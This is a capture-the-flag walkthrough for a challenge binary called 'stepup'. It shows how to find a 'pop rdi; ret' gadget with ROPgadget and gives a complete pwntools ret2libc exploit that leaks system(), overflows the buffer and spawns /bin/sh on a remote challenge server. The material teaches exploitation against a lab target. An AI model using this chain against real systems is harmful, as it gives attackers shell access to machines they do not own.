stepup

This is a very similar binary to the last one, so we'll be reusing most of the same techniques. This time, we'll need a way to pass the `/bin/sh` address into `rdi`, which will require a gadget to do this.

Getting our Gadget

We'll do this the same way that we did it in the ROP chapter. We use `ROPgadget` to search for a gadget that will pop the top of the stack into `rdi`:

```
$ ROPgadget --binary stepup | grep "pop rdi"
0x00000000004011db : pop rdi ; ret
```

This is perfect. We'll use this gadget to pop the address of `/bin/sh` into `rdi` before calling `system()`.

Writing the Exploit

This binary is nearly identical to the last one. We are provided the address of `system()`, so we can just use that directly. Checking `read_in`, we'll notice that it takes `40` bytes to reach the return pointer.

This is everything we need to write the exploit:

```python
from pwn import *

elf = context.binary = ELF('./stepup')
libc = elf.libc
p = remote('vunrotc.cole-ellis.com', 6200)

p.recvuntil(b'at: ')
leak = int(p.recvline(), 16)
libc.address = leak - libc.sym.system
log.success(f'LIBC base: {hex(libc.address)}')

g_popRdi = 0x4011db

payload = b'A' * 40
payload += p64(g_popRdi)
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym.system)

p.sendline(payload)
p.interactive()
```

Running this gets our flag! We beat ASLR in 64-bit, which was no different than beating it in 32-bit. The only difference is that we had to use 64-bit gadgets and addresses.